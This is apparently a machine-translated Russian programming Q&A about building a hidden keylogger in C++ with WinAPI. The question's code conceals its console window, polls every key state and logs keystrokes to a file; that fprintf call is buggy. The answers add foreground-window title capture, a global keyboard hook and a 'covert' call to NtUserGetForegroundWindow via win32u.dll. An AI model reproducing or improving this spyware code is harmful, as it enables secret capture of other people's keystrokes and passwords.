Winapi — C ++ простой кейлоггер

Я пытаюсь написать простой кейлоггер на C ++, используя WinAPI. Есть ли способ узнать, в каком приложении пользователь печатает захваченные нажатия клавиш?
И вот мой код:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}

4

Решение

Поскольку вопрос «Есть ли способ узнать, в каком приложении пользователь печатает захваченные нажатия клавиш?», Я бы сказал, использовать HWND WINAPI GetForegroundWindow (void);

Например:

char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));

В cWindow вы получаете заголовок окна, в котором печатает пользователь.

0

Другие решения

То, что вы хотите, это глобальная клавиатура крюк

Глобальный хук контролирует сообщения для всех потоков на том же рабочем столе, что и
вызывающая нить. Хук, зависящий от потока, отслеживает сообщения только
индивидуальная нить. Глобальная подключаемая процедура может быть вызвана в
контекст любого приложения на том же рабочем столе, что и вызывающий поток,
поэтому процедура должна быть в отдельном модуле DLL. Специфичный для потока
Подключаемая процедура вызывается только в контексте связанного потока.
Если приложение устанавливает подключаемую процедуру для одного из своих
процедура подключения может находиться в том же модуле, что и
Остальной код приложения или в DLL. Если приложение
устанавливает процедуру подключения для потока другого приложения,
Процедура должна быть в DLL. Для получения информации см. Dynamic-Link.
Библиотеки.

3

Быть легкомысленным скрытно Я бы порекомендовал использовать NtUserGetForegroundWindow, чтобы сэкономить память, получить длину текста окна и использовать alloca для выделения памяти на стек.

typedef HWND(__stdcall * NtUserGetForegroundWindowType)(void);

HMODULE hModule = GetModuleHandleA("win32u.dll");
NtUserGetForegroundWindowType NtUserGetForegroundWindow = reinterpret_cast<NtUserGetForegroundWindowType>(GetProcAddress(hModule, "NtUserGetForegroundWindow"));

HWND hWnd = NtUserGetForegroundWindow();

size_t lenght = GetWindowTextLengthW(hWnd) + 1; // + 1-byte for null
LPWSTR szText = static_cast<LPWSTR>(alloca(lenght * sizeof(wchar_t))); // Allocates memory for string on stack

GetWindowTextW(hWnd, szText, lenght);
1
По вопросам рекламы [email protected]